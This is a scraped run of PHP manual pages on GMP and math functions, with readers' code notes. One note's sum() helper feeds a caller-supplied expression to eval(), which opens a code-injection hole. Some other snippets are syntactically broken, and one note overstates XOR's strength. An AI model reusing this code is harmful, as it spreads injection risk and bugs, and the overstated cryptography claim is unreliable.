list($sqrt3, $sqrt3rem) = gmp_sqrtrem("1048576");

echo gmp_strval($sqrt1) . ", " . gmp_strval($sqrt1rem) . "\n";
echo gmp_strval($sqrt2) . ", " . gmp_strval($sqrt2rem) . "\n";
echo gmp_strval($sqrt3) . ", " . gmp_strval($sqrt3rem) . "\n";
?>

The above example will output:

3, 0
2, 3
1024, 0

User Contributed Notes

There are no user contributed notes for this page.
gmp_sqrt
gmp_strval
GMP Functions


Convert GMP number to string

gmp_sqrtrem
gmp_sub
GMP Functions
PHP Manual

gmp_strval

(PHP 4 >= 4.0.4, PHP 5)

gmp_strval — Convert GMP number to string

Description

string gmp_strval ( resource $gmpnumber [, int $base = 10 ] )

Convert GMP number to string representation in base base. The default base is 10.

Parameters

gmpnumber

The GMP number that will be converted to a string.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

base

The base of the returned number. The default base is 10. Allowed values for the base are from 2 to 62 and -2 to -36.

Return Values

The number, as a string.

Changelog

Version | Description
5.3.2 | The base was extended from 2 to 36, to 2 to 62 and -2 to -36.

Notes

Note:

To use the extended base introduced in PHP 5.3.2, then PHP must be compiled against GMP 4.2.0 or greater.

Examples

Example #1 Converting a GMP number to a string

<?php
$a = gmp_init("0x41682179fbf5");
printf("Decimal: %s, 36-based: %s", gmp_strval($a), gmp_strval($a,36));
?>

User Contributed Notes

russell dot s dot harper at gmail dot com 26-May-2010 10:22
A gotcha when using the value from gmp_strval as a key in an associative array. Some numbers are 2^31 are converted to signed integer format, this is usually incorrect.

<?php

$a = gmp_init('2147483649'); // = 2^31 + 1
$b = gmp_init('3173604585'); // = 2^31 < $b < 2^32

$c = gmp_strval($a);
$d = gmp_strval($b);

$e = array($c => 'c', $d => 'd');

print '*** Expect '."\n";
print 'Array '."\n".'('."\n".'    ['.$c.'] => c'."\n".'    ['.$d.'] => d'."\n".')'."\n\n";
print '*** Actual '."\n";
print_r($e);

?>

Output:

*** Expect
Array
(
    [2147483649] => c
    [3173604585] => d
)

*** Actual
Array
(
    [-2147483647] => c
    [3173604585] => d
)

A workaround is to format as base 16 and append '0x' before using as a key.
php at richardneill dot org 19-Sep-2006 04:47
I think it's no longer necessary to worry about trailing nulls. This was fixed in Feb 2002 (see bug 10133)
caldwell at utm dot NoSpamPlease dot edu 22-Jul-2001 08:17
Warning: gmp_strval may return a null terminated string (e.g., gmp_strval(gmp_init(8)) has two characters. This is because gmp is built for speed, so uses estimates based on things it can get quickly, like the number of bits in N. So since 8 is a 4 bit number, it will be allocated ceil(log10(2^4))=ceil(4*0.30103....) = 2 characters. The gmp folks feel it is the caller's responsibility (in this case the PHP interface) to check whether or not all the characters were required.  PHP might have done this for us (and may in the future), but for now, you need to check (if it matters to you--it sure did in my program!).
gmp_sqrtrem
gmp_sub
GMP Functions


Subtract numbers

gmp_strval
gmp_testbit
GMP Functions
PHP Manual

gmp_sub

(PHP 4 >= 4.0.4, PHP 5)

gmp_sub — Subtract numbers

Description

resource gmp_sub ( resource $a , resource $b )

Subtracts b from a and returns the result.

Parameters

a

The number being subtracted from.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

The number subtracted from a.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number resource.

Examples

Example #1 gmp_sub() example

<?php
$sub = gmp_sub("281474976710656", "4294967296"); // 2^48 - 2^32
echo gmp_strval($sub) . "\n";
?>

The above example will output:

281470681743360

User Contributed Notes

There are no user contributed notes for this page.
gmp_strval
gmp_testbit
GMP Functions


Tests if a bit is set

gmp_sub
gmp_xor
GMP Functions
PHP Manual

gmp_testbit

(PHP 5 >= 5.3.0)

gmp_testbit — Tests if a bit is set

Description

bool gmp_testbit ( resource $a , int $index )

Tests if the specified bit is set.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

index

The bit to test

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

E_WARNING is issued when index is less than zero.

Examples

Example #1 gmp_testbit() example

<?php
$n = gmp_init("1000000");
var_dump(gmp_testbit($n, 1));
gmp_setbit($n, 1);
var_dump(gmp_testbit($n, 1));
?>

The above example will output:

bool(false)
bool(true)

See Also

  • gmp_setbit() - Set bit
  • gmp_clrbit() - Clear bit

User Contributed Notes

bluej100@gmail 19-Jul-2007 02:48
gmp_testbit will be very useful for my (over 64-bit) bitmask checking.

In the meantime, I think these are the best replacements.

Mostly full:

<?php
(gmp_scan1($a, $index) == $index)
?>

Mostly empty:

<?php
(gmp_scan0($a, $index) != $index)
?>

Still worst-case O(N), though.
gmp_sub
gmp_xor
GMP Functions


Bitwise XOR

gmp_testbit
Math
GMP Functions
PHP Manual

gmp_xor

(PHP 4 >= 4.0.4, PHP 5)

gmp_xor — Bitwise XOR

Description

resource gmp_xor ( resource $a , resource $b )

Calculates bitwise exclusive OR (XOR) of two GMP numbers.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number resource.

Examples

Example #1 gmp_xor() example

<?php
$xor1 = gmp_init("1101101110011101", 2);
$xor2 = gmp_init("0110011001011001", 2);

$xor3 = gmp_xor($xor1, $xor2);

echo gmp_strval($xor3, 2) . "\n";
?>

The above example will output:

1011110111000100

User Contributed Notes

greenone 02-Jul-2008 12:26
here's a fast alternative to compute the xor-value of two bitstrings of an arbitrary (but same) length.

<?php
/**
 * xor-op for bitstrings of arbitrary length
 * bitstrings must have same length
 *
 * @param string $o1
 * @param string $o2
 * @return string
 */
function bitxor($o1, $o2) {
    $xorWidth = PHP_INT_SIZE*8;
    $o1 = str_split($o1, $xorWidth);
    $o2 = str_split($o2, $xorWidth);
    $res = '';
    $runs = count($o1);
    for($i=0;$i<$runs;$i++)
        $res .= decbin(bindec($o1[$i]) ^ bindec($o2[$i]));
    return $res;
}
?>
kimcbrowne at hotmail dot com 03-Oct-2005 07:48
To be unbreakable XOR encryption must have a key that is totally random and is never re-used.  If you use a key a second time, it can be broken.  This can be confirmed by reading the page at http://en.wikipedia.org/wiki/One-time_pad.

Although I am not an expert on cryptography, I understand that decyphering involves recognizing patterns and that it would be possible to decrypt code that was encoded using XOR with the same key if there were enough samples to examine.  Maintaining unique keys for each encryption at both encryption and decryption points to ensure 100 percent unbreakability has security problems of its own - where and how are the keys stored and how are they transmitted to the decryption points?
bukaj at bukaj dot net 28-Mar-2005 05:38
XOR encryption is an ultimate encryption algorithm. It can't be be broken. It is used to encrypt stealth submarine's orders. I cannot agree with "kid-sister" post below. If you use vast key (as long as encrypted message) which is random (space noise recorded on a cd), the encrypted message is also radnom - impossible to decrypt without key. Under those conditions, XOR is strongest encryption algorithm ever known.
patm at pureconnection dot net 07-Jan-2004 05:22
XOR encryption only works if the key is at liest the same size as the plaintext, and the key is perfectly random. And no, rand() is not perfectly random.
mikko at entris dot net 15-Jul-2002 02:33
The logical XOR can be used for encrypting data. Use resource A as your original text and resource B as the key. Be sure to use long enough key so that the key doesn't loop. Decryption works the same way, input encrypted text as res A and key as res B.
gmp_testbit
Math
GMP Functions


Mathematical Functions

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Math Functions
    • abs — Absolute value
    • acos — Arc cosine
    • acosh — Inverse hyperbolic cosine
    • asin — Arc sine
    • asinh — Inverse hyperbolic sine
    • atan2 — Arc tangent of two variables
    • atan — Arc tangent
    • atanh — Inverse hyperbolic tangent
    • base_convert — Convert a number between arbitrary bases
    • bindec — Binary to decimal
    • ceil — Round fractions up
    • cos — Cosine
    • cosh — Hyperbolic cosine
    • decbin — Decimal to binary
    • dechex — Decimal to hexadecimal
    • decoct — Decimal to octal
    • deg2rad — Converts the number in degrees to the radian equivalent
    • exp — Calculates the exponent of e
    • expm1 — Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero
    • floor — Round fractions down
    • fmod — Returns the floating point remainder (modulo) of the division of the arguments
    • getrandmax — Show largest possible random value
    • hexdec — Hexadecimal to decimal
    • hypot — Calculate the length of the hypotenuse of a right-angle triangle
    • is_finite — Finds whether a value is a legal finite number
    • is_infinite — Finds whether a value is infinite
    • is_nan — Finds whether a value is not a number
    • lcg_value — Combined linear congruential generator
    • log10 — Base-10 logarithm
    • log1p — Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero
    • log — Natural logarithm
    • max — Find highest value
    • min — Find lowest value
    • mt_getrandmax — Show largest possible random value
    • mt_rand — Generate a better random value
    • mt_srand — Seed the better random number generator
    • octdec — Octal to decimal
    • pi — Get value of pi
    • pow — Exponential expression
    • rad2deg — Converts the radian number to the equivalent number in degrees
    • rand — Generate a random integer
    • round — Rounds a float
    • sin — Sine
    • sinh — Hyperbolic sine
    • sqrt — Square root
    • srand — Seed the random number generator
    • tan — Tangent
    • tanh — Hyperbolic tangent

User Contributed Notes

Anonymous: 22-Dec-2008 11:20
Here is a simple number digit counter function, I used it to check if a number is a palindrome or not, Plus a Distance function, slope formula, sum from one to an integer, sum of odd numbers from one to specified number, and last but not least the sum of the squares of the values of the sine of x, and the cosine of y.

<?php
function digit_count($num){
for($i=0;pow(10,$i)<=$num;$i++){
  if(pow(10,$i+1)>$num){
  $num_digits = $i+1;
  }
}
return $num_digits;
}

function distance($x_1,$y_1,$x_2,$y_2){
return sqrt(pow($x_1-$x_2,2)+pow($y_1-$y_2,2));
}

function slope($x_1,$y_1,$x_2,$y_2){
return ($y_2-$y_1)/($x_2-$x_1);
}

// example sum(20)=210=1+2+3+...+20
function sum($x){
return ($x)($x+1)/2;
}

// example odd(15)=225=1+3+5+7+9+...+15
function odd($x){
if(($x%2) == 0){
$x-=1;
}
$y=($x+1)/2;
return pow($y,2); //Same as $y*$y;
}

function ($x,$y){
if($x=90-$y){
echo "(Sine of $x)^2 + (Cosine of $y)^2=1";
$value = 1;
}else{
$value = pow(sin($x),2)+pow(cos($y),2);
}
return $value;
}
?>
Sanjay Ichalkaranje 11-Oct-2008 01:34
This is the only function I searched that I did not find anywhere on the Internet. This function calculates standard normal cumulative distribution for a particular value. This is NORMSDIST(x) in MS-Excel or OpenOffice.org Calc program.

<?
function normalDist($zScore) {
    $p = floatval(0.2316419);
    $b1 = floatval(0.319381530);
    $b2 = floatval(-0.356563782);
    $b3 = floatval(1.781477937);
    $b4 = floatval(-1.821255978);
    $b5 = floatval(1.330274429);
    $t = 1/(1 + ($p * floatval($zScore)));
    $zx = (1/(sqrt(2 * pi())) * (exp(0 - pow($zScore, 2)/2)));

    $px = 1 - floatval($zx) * (($b1 * $t) + ($b2 * pow($t, 2)) + ($b3 * pow($t, 3)) + ($b4 * pow($t, 4)) + ($b5 * pow($t,5)));
    return $px;
}
?>
gmp_xor
Introduction
Mathematical Extensions


Introduction

These math functions will only handle values within the range of the integer and float types on your computer (this corresponds currently to the C types long resp. double). If you need to handle bigger numbers, take a look at the arbitrary precision math functions.

See also the manual page on arithmetic operators.

User Contributed Notes

There are no user contributed notes for this page.
Math
Installing/Configuring
Math


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Math


Predefined Constants

The constants below are always available as part of the PHP core.

Math constants
Constant | Value | Description | Availability
M_PI | 3.14159265358979323846 | Pi |
M_E | 2.7182818284590452354 | e |
M_LOG2E | 1.4426950408889634074 | log_2 e |
M_LOG10E | 0.43429448190325182765 | log_10 e |
M_LN2 | 0.69314718055994530942 | log_e 2 |
M_LN10 | 2.30258509299404568402 | log_e 10 |
M_PI_2 | 1.57079632679489661923 | pi/2 |
M_PI_4 | 0.78539816339744830962 | pi/4 |
M_1_PI | 0.31830988618379067154 | 1/pi |
M_2_PI | 0.63661977236758134308 | 2/pi |
M_SQRTPI | 1.77245385090551602729 | sqrt(pi) | PHP 5.2.0
M_2_SQRTPI | 1.12837916709551257390 | 2/sqrt(pi) |
M_SQRT2 | 1.41421356237309504880 | sqrt(2) |
M_SQRT3 | 1.73205080756887729352 | sqrt(3) | PHP 5.2.0
M_SQRT1_2 | 0.70710678118654752440 | 1/sqrt(2) |
M_LNPI | 1.14472988584940017414 | log_e(pi) | PHP 5.2.0
M_EULER | 0.57721566490153286061 | Euler constant | PHP 5.2.0
PHP_ROUND_HALF_UP | 1 | Round halves up | PHP 5.3.0
PHP_ROUND_HALF_DOWN | 2 | Round halves down | PHP 5.3.0
PHP_ROUND_HALF_EVEN | 3 | Round halves to even numbers | PHP 5.3.0
PHP_ROUND_HALF_ODD | 4 | Round halves to odd numbers | PHP 5.3.0
NAN | NAN (as a float) | Not A Number |
INF | INF (as a float) | The infinite |

All constants without a labeled PHP version above are available starting with PHP 4.0.0.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Math Functions
Math


Math Functions

Table of Contents

  • abs — Absolute value
  • acos — Arc cosine
  • acosh — Inverse hyperbolic cosine
  • asin — Arc sine
  • asinh — Inverse hyperbolic sine
  • atan2 — Arc tangent of two variables
  • atan — Arc tangent
  • atanh — Inverse hyperbolic tangent
  • base_convert — Convert a number between arbitrary bases
  • bindec — Binary to decimal
  • ceil — Round fractions up
  • cos — Cosine
  • cosh — Hyperbolic cosine
  • decbin — Decimal to binary
  • dechex — Decimal to hexadecimal
  • decoct — Decimal to octal
  • deg2rad — Converts the number in degrees to the radian equivalent
  • exp — Calculates the exponent of e
  • expm1 — Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero
  • floor — Round fractions down
  • fmod — Returns the floating point remainder (modulo) of the division of the arguments
  • getrandmax — Show largest possible random value
  • hexdec — Hexadecimal to decimal
  • hypot — Calculate the length of the hypotenuse of a right-angle triangle
  • is_finite — Finds whether a value is a legal finite number
  • is_infinite — Finds whether a value is infinite
  • is_nan — Finds whether a value is not a number
  • lcg_value — Combined linear congruential generator
  • log10 — Base-10 logarithm
  • log1p — Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero
  • log — Natural logarithm
  • max — Find highest value
  • min — Find lowest value
  • mt_getrandmax — Show largest possible random value
  • mt_rand — Generate a better random value
  • mt_srand — Seed the better random number generator
  • octdec — Octal to decimal
  • pi — Get value of pi
  • pow — Exponential expression
  • rad2deg — Converts the radian number to the equivalent number in degrees
  • rand — Generate a random integer
  • round — Rounds a float
  • sin — Sine
  • sinh — Hyperbolic sine
  • sqrt — Square root
  • srand — Seed the random number generator
  • tan — Tangent
  • tanh — Hyperbolic tangent

User Contributed Notes

AsherMaximum gmail 18-Apr-2011 09:40
Here's a simple way way to convert a number to an ordinal number I created:

$i == the number to convert. Put this inside a for loop if you need to populate an array.

<?php
// change increment variable to ordinal number.
$n1 = $i % 100; //first remove all but the last two digits

$n2 = ($n1 < 20 ? $1 : $i % 10; //remove all but last digit unless the number is in the teens, which all should be 'th'

//$n is now used to determine the suffix.
$ord = ($n2==1 ? $i.'st' : ( ($n2==2 ? $i.'nd' : ($n2==3 ? $i.'rd' : $i.'th') ) ) )
?>
php at keith tyler dot com 04-Nov-2010 11:09
Another ordinal method, which does not involve utilizing date functions:

<?php
sprintf( "%d%s", $t, array_pop( array_slice( array_merge( array( "th","st","nd","rd"), array_fill( 4,6,"th")), $t%10, 1)));'
?>
zero dot affect at hotmail dot com 07-May-2010 03:16
I was editing some code and made up two functions which may come in handy, they are to work out the average value of multiple values.

Working with array:
<?php
function avgval($avg_vals) {
 if ( is_array($avg_vals) && count($avg_vals) > 1 ) {
        $return_vals = ( array_sum($avg_vals) / count($avg_vals) );
 } elseif ( is_array($avg_vals) && count($avg_vals) == 1 ) {
        $return_vals = current($avg_vals);
 } else {
        $return_vals = FALSE;
 }
   return $return_vals;
}
   echo avgval(array(6,11,7)); // outputs 8
   echo avgval(array(6)); // outputs 6
?>

Working with string:
<?php
function avgvals($avg_vals,$avg_delimiter=',') {
 if ( (is_string($avg_vals) && strlen($avg_vals) > 2) && (is_string($avg_delimiter) && !empty($avg_delimiter)) ) {
    $average_vals = explode($avg_delimiter, $avg_vals);
        $return_vals = ( array_sum($average_vals) / count($average_vals) );
 } elseif ( (is_string($avg_vals) && strlen($avg_vals) <= 2) && (is_string($avg_delimiter) && !empty($avg_delimiter)) ) {
        $return_vals = $avg_vals;
 } else {
        $return_vals = FALSE;
 }
   return $return_vals;
}
   echo avgvals('6,11,7'); // outputs 8
   echo avgvals('6-11-7', '-'); // outputs 8
   echo avgvals('6'); // outputs 6
?>
chris at chrisstockton dot org 15-Sep-2008 09:27
Recently I needed to determine the size of N is unknown, only the state of N is known. May seem like a weird thing to need, but a example is finding the maximum size of sending email to a SMTP server when the maximum size is currently unknown. You  can send $size email each iteration and the direction will be TRUE if the email is to big and is rejected by the server, or FALSE if the email is accepted.

Below is a example.

<?php
// our arbitrary number that if not being used in this example, would be
// otherwise unknown
$n = 1;
echo "Finding: $n\n";

$direction = FALSE;
$step = 1;
$size = $sizeLeast = $sizeMax = $i = 0;

while(1) {
    // small var for counting, could be taken out if you don't care how many
    // iterations it took (in common use you wouldn't)
    $i++;

    // this should be a function call or something that says what the current
    // state of N is, above (true) or below (false), here $n is just a arbitrary
    // number and to determine the state we compare it against current $size
    $direction = ($size > $n);

    // simple steps based on the current state of n (direction), the call could
    // be here instead of assigning direction for more performance
    if($direction) {
        $sizeMax = $size;
        $step = (int) round($step/2);
        $size -= $step;
    } else {
        $sizeLeast = $size;
        $step = $step*2;
        $size += $step;
    }

    // if sizemax - sizeleast is 1, then obviously the size is sizeLeast
    if(1 === ($sizeMax - $sizeLeast) && 1 === $step) {
        break;
    }
}

echo "Found: $size in $i iterations\n";
?>
Kollege 12-Aug-2008 06:54
If somebody needs to convert a hexal input (i'm NOT talking about hexaDEZIMAl), e.g. a time like

02:30 h

to dezimal, like - in this case -:

2.5

i can recommend this simple function:
<?
function HexalToDezimal ($hexal) {
 $dezimal = floor($hexal) + round(($hexal - floor($hexal)) * (1 / 0.6), 2);
 return ($dezimal);
 }
?>
This can be usefull e.g. if you want to work with unix-timestamps and hexal inputs; e.g. if you want to compute:

time() + [2 houres : 30 minutes]

That is:

time() + (2.5 * 60 * 60)
rubo77 at spacetrace dot org 28-Jul-2008 07:39
<?php
function lcd($n,$m, $maxvarianzpercent=0){
    // set $maxvarianzpercent=5 to get a small, but approx. result
    /* a better lcd function with varianz:
    for example use
    lcd(141,180,5) to get the approx. lcd '7/9' which is in fact 140/180
    */
    // ATTENTION!!! can be really slow if $m is >1000

    $d=$n/$m;
    $f=1;
    while($d*$f!=intval($d*$f)){
        $f++;
    }
    $r=($d*$f).'/'.$f;
    if(($d*$f)<=10 or $f<=10) return $r;
    else if($maxvarianzpercent>0){
        $f=1;
        while($d*$f!=intval($d*$f) and ($d*$f)-intval($d*$f) > $maxvarianzpercent/100){
            $f++;
        }
        return intval($d*$f).'/'.$f;
    } else return $r;
}
?>
PiledHigher at jovi dot net 31-Mar-2008 08:47
// Ordinal one liner tests good up to PHP_INT_MAX-7 on GNU/Linux
function ordinal($n) {
    return $n . gmdate("S", (((abs($n) + 9) % 10) + ((abs($n / 10) % 10) == 1) * 10) * 86400);
}
lummox 02-Feb-2008 07:24
Wouldn't the following function do the same but a lot easier than the one in the comment before?

function trimInteger($targetNumber,$newLength) {
    return $targetNumber%pow(10,$newLength);
}
Mike 09-Jan-2008 07:23
//had a mistake in last post, heres the corrected version

/*
Just a simple function to trim digits from the left side of an integer. TRIM DOWN TO 4-> (ie. 987654 => 7654)
*/

function trimInteger($targetNumber,$newLength) {

    $digits = pow(10,$newLength);

    $s = ($targetNumber/ $digits); //make the last X digits the                  decimal part

    $t = floor($targetNumber / $digits); //drop the last X digits (the decimal part)

    $h = $s - $t; //remove all  but the decimal part

    $newInteger = ($h*$digits); //make the everything after the decimal point the new number

    return $newInteger;
}
ddarjany at yahoo dot com 05-Sep-2007 10:25
Tim's fix of Evan's ordinal function causes another problem, it no longer works for number above 100.  (E.g. it returns 111st instead of 111th).
Here is a further modified version which should work for all numbers.

<?PHP

function ordinal($cardinal)    {
  $cardinal = (int)$cardinal;
  $digit = substr($cardinal, -1, 1);

  if ($cardinal <100) $tens = round($cardinal/10);
  else $tens = substr($cardinal, -2, 1);

  if($tens == 1)  {
    return $cardinal.'th';
  }

  switch($digit) {
    case 1:
      return $cardinal.'st';
    case 2:
      return $cardinal.'nd';
    case 3:
      return $cardinal.'rd';
    default:
      return $cardinal.'th';
  }
}
 ?>
11-Apr-2007 11:55
Here is another way of calculating the nth term of the Fibonacci sequence, based on Binet's formula (see http://en.wikipedia.org/wiki/Fibonacci_series#Closed_form_expression for more information on this).
In this example, it would display the 17th term of the Fibonacci sequence.

<?php

$n = 17; // Sets a value for $n, the nth term
$phi = (1 + sqrt(5)) / 2; // Sets the value of phi for use in the formula
$u = (pow($phi, $n) - pow(1 - $phi, $n)) / sqrt(5);
echo "U<sub>$n</sub> = $u";

?>

Here is a script that lists the Fibonacci sequence from whatever two terms you specify, in this example from the 12th term to the 27th term (inclusive).

<?php

$f = 12; // Sets the 'f'th term, the term from which to start listing
$t = 27; //Sets the 't'th term, the term at which to stop listing
$phi = (1 + sqrt(5)) / 2; // Sets the value of phi for use in the formula
while($f <= $t) {
  $u = (pow($phi, $f) - pow(1 - $phi, $f)) / sqrt(5);
  echo "U<sub>$f</sub> = $u<br>\n";
  $f++;
}

?>
barry at megaspace dot com 02-Dec-2006 09:14
Here's a least common denominator (lcd) function:

$array = array(3,4,6,8,18,2);

    function lcd($array,$x) {

        $mod_sum = 0;

        for($int=1;$int < count($array);$int++) {
            $modulus[$int] = ($array[0]*$x) % ($array[$int]);
            $mod_sum = $mod_sum + $modulus[$int];
        }

        if (!$mod_sum) {
            echo "LCD: ".($array[0]*$x)."\n";
        }

        else {
            lcd($array,$x+1);
        }

    }

lcd($array,1);
tembenite at gmail dot com 06-Nov-2006 01:36
To add to what Cornelius had, I have written a function that will take an array of numbers and return the least common multiple of them:

function lcm_arr($items){
    //Input: An Array of numbers
    //Output: The LCM of the numbers
    while(2 <= count($items)){
        array_push($items, lcm(array_shift($items), array_shift($items)));
    }
    return reset($items);
}

//His Code below with $'s added for vars

function gcd($n, $m) {
   $n=abs($n); $m=abs($m);
   if ($n==0 and $m==0)
       return 1; //avoid infinite recursion
   if ($n==$m and $n>=1)
       return $n;
   return $m<$n?gcd($n-$m,$n):gcd($n,$m-$n);
}

function lcm($n, $m) {
   return $m * ($n/gcd($n,$m));
}
tim at durge dot org 27-Oct-2006 05:51
In Evan's ordinal function, the line:

<?php
  $tens = substr($cardinal, -2, 1);
?>

needs to be replaced by:

<?php
  $tens = round($cardinal/10);
?>

or similar. At least on PHP 4.3.10,  substr("1", -2, 1)  returns '1' - so Evan's function gives "1th", as well as "11th".  This is contrary to the documentation, but is noted in the comments on the substr manual page.
Evan Broder 26-Jul-2006 11:42
A slightly more complex but much more accurate cardinal=>ordinal function (the one below doesn't account for 11th, 12th, and 13th, which don't follow the usual rules):

<?php

    function ordinal($cardinal)
    {
        $cardinal = (int)$cardinal;
        $digit = substr($cardinal, -1, 1);
        $tens = substr($cardinal, -2, 1);
        if($tens == 1)
        {
            return $cardinal.'th';
        }

        switch($digit)
        {
        case 1:
            return $cardinal.'st';
        case 2:
            return $cardinal.'nd';
        case 3:
            return $cardinal.'rd';
        default:
            return $cardinal.'th';
        }
    }

?>
edward at edwardsun dot com 19-Jul-2006 06:24
well just a note.. maybe i'm a bit stupid.. but remember to use pow() rather than the "^" sign for exponents.. as it took me 5 minutes to figure out why it wasn't working.
jaakko dot mantila at sagas dot fi 12-Jul-2006 03:10
Here is another payment function with working future value($fv) option:

function payment($r,$np,$pv,$fv,$prec) {
   /* Calculates the monthly payment
   ** $apr = the annual percentage rate of the loan.
   ** $n  = number of monthly payments (360 for a 30year loan)
   ** $pv    = present value or principal of the loan
   ** $fv  = future value of the loan (after payments)
   ** $prec = the precision you wish rounded to
   */
   /****************************************\
   ** No Warranty is expressed or implied. **
   *****************************************/
if(!$fv) $fv = 0;
$mypmt=$r * (-$fv+pow((1+$r),$np)*$pv)/(-1+pow((1+$r),$np));
return round($mypmt, $prec);
}
twoscoopsofpig at NOSPAM dot gmail dot com 07-Jul-2006 09:07
@ Moikboy:

This may or may not be more simplified factorialization:

<?php
$f=$fact=25;
while ($fact>0)
{$f=$f*$fact--;}
echo $f;
?>
marasek.SPAMLESS at telton.de 08-Jun-2006 05:23
I could not resist to do a simpler version of the ordinal function:
<?php
function ordinal($num)
{
    $num = (int)$num;
    $digit = substr($num, -1, 1);
    $ord = "th";
    switch($digit)
    {
        case 1: $ord = "st"; break;
        case 2: $ord = "nd"; break;
        case 3: $ord = "rd"; break;
    break;
    }
return $num.$ord;
}
?>
One could replace the typecast with

<?php
if($num===NULL or $num==="")
{return NULL;}
?>

to get an empty result instead of "0th" in case $num is empty too.
moikboy (nospam!) moikboy (nospam!) hu 10-May-2006 01:15
I think, this is the optimal code for calculating factorials:

<?php
function fact($int){
    if($int<2)return 1;
    for($f=2;$int-1>1;$f*=$int--);
    return $f;
};
?>

And another one for calculating the $int-th Fibonacci-number:

<?php
function fib($int){
    static $fibTable=array();
    return empty($fibTable[$int])?$fibTable[$int] = $int>1?fib($int-2)+fib($int-1):1:$fibTable[$int];
};
?>
nessthehero at comcast dot net 21-Mar-2006 02:48
Just a simple function to find the ordinal ending to any number if you're printing for example: "The nth result is..."

function ordinal($num) {
    $digit = substr($num,-1,1);
    $ord = array(
        0 => 'th',
        1 => 'st',
        2 => 'nd',
        3 => 'rd',
        4 => 'th',
        5 => 'th',
        6 => 'th',
        7 => 'th',
        8 => 'th',
        9 => 'th'
    );
    $string = $num.$ord[$digit];
    return $string;
}
Florian 03-Mar-2006 01:36
A function that simulates the sum operator. (http://en.wikipedia.org/wiki/Sum). Be careful with the expression because it may cause a security hole; note the single quotes to don't parse the "$".
<?php
# @param    string    $expr    expression to evaluate (for example (2*$x)^2+1)
# @param    string    $var      dummy variable (for example "x")
# @param    integer    $start
# @param    integer    $end
# @param    integer    $step

function sum($expr,$var,$start,$end,$step = 1) {
    $expr = str_replace(';','',$expr);
    $var = str_replace('$','',$var);
    $start = (int)$start;    $end = (int)$end;    $step = (int)$step;    $sum = 0;

    for ($i = $start; $i <= $end; $i = $i + $step) {
        $_expr = str_replace('$'.$var,$i,$expr);
        $_eval = '$_result = '.$_expr.'; return $_result;';
        $_result = eval($_eval);
        if($result === FALSE) return "SYNTAX ERROR : $expr";
        $sum += $_result;
    }
    return (int)$sum;
}
?>
jos at gtacrime dot nl 17-Feb-2006 01:39
Thanks to Chronial "at" cyberpunkuniverse.de, I was able to create the binompdf(n, p, k) function.

<?php
function nCr($n, $k){
   if ($k > $n)
     return NaN;
   if (($n - $k) < $k)
     return nCr($n, ($n - $k));
   $return = 1;
   for ($i=0; $i<$k; $i++){
     $return *= ($n - $i) / ($i + 1);
   }
   return $return;
}

function binompdf($n, $p, $k){
    $return = nCr($n, $k) * pow($p, $k) * pow((1 - $p), ($n - $k));
    return $return;
}
?>
peter-stangl at t-online dot de 01-Feb-2006 03:16
I needed to approximate an integral because i was not able to calculate it, so i wrote this function. It approximates an integral with the composite Simpson's rule.
More information on Simpson's rule: http://en.wikipedia.org/wiki/Simpson%27s_rule

<?php

function simpsonf($x){
// returns f(x) for integral approximation with composite Simpson's rule
   return(pow((1+pow($x, (-4))), 0.5));
}
function simpsonsrule($a, $b, $n){
// approximates integral_a_b f(x) dx with composite Simpson's rule with $n intervals
// $n has to be an even number
// f(x) is defined in "function simpsonf($x)"
   if($n%2==0){
      $h=($b-$a)/$n;
      $S=simpsonf($a)+simpsonf($b);
      $i=1;
      while($i <= ($n-1)){
         $xi=$a+$h*$i;
         if($i%2==0){
            $S=$S+2*simpsonf($xi);
         }
         else{
            $S=$S+4*simpsonf($xi);
         }
         $i++;
      }
      return($h/3*$S);
      }
   else{
      return('$n has to be an even number');
   }
}

?>
daniel at g-loc dot org 01-Dec-2005 10:01
If you're an aviator and needs to calculate windcorrection angles and groundspeed (e.g. during flightplanning) this can be very useful.

$windcorrection = rad2deg(asin((($windspeed * (sin(deg2rad($tt - ($winddirection-180))))/$tas))));
$groundspeed = $tas*cos(deg2rad($windcorrection)) + $windspeed*cos(deg2rad($tt-($winddirection-180)));

You can probably write these lines more beautiful, but they work!
nbraczek at bsds dot de 26-Oct-2005 02:27
Under some circumstances, it is appropriate to round floats to a given number of significant digits. This function will do it for you:

/**
 * Round to significant digits
 *
 * @param float   $f The number to be rounded
 * @param integer $n Number of significant digits
 */
function round_significant($f, $n)
{
    if ($f==0) return $f;
    return round($f, $n-floor(log10(abs($f)))-1);
}
monte at ohrt dot com 18-Oct-2005 06:37
This is an efficient method of calculating the binomial coefficient C(n,k). This code was derived from Owant: Mastering Algorithms with Perl.

<?php
   // calculate binomial coefficient
   function binomial_coeff($n, $k) {

      $j = $res = 1;

      if($k < 0 || $k > $n)
         return 0;
      if(($n - $k) < $k)
         $k = $n - $k;

      while($j <= $k) {
         $res *= $n--;
         $res /= $j++;
      }

      return $res;

   }
?>

If you compiled php with --enable-bcmath, you can get full integer values of extremely large numbers by replacing:

$res *= $n--;
$res /= $j++;

with:

$res = bcmul($res, $n--);
$res = bcdiv($res, $j++);
crescentfreshpot at yahoo dot com 26-Jul-2005 07:50
Median:

number median ( number arg1, number arg2 [, number ...] )

number median ( array numbers )

<?php

function median()
{
    $args = func_get_args();

    switch(func_num_args())
    {
        case 0:
            trigger_error('median() requires at least one parameter',E_USER_WARNING);
            return false;
            break;

        case 1:
            $args = array_pop($args);
            // fallthrough

        default:
            if(!is_array($args)) {
                trigger_error('median() requires a list of numbers to operate on or an array of numbers',E_USER_NOTICE);
                return false;
            }

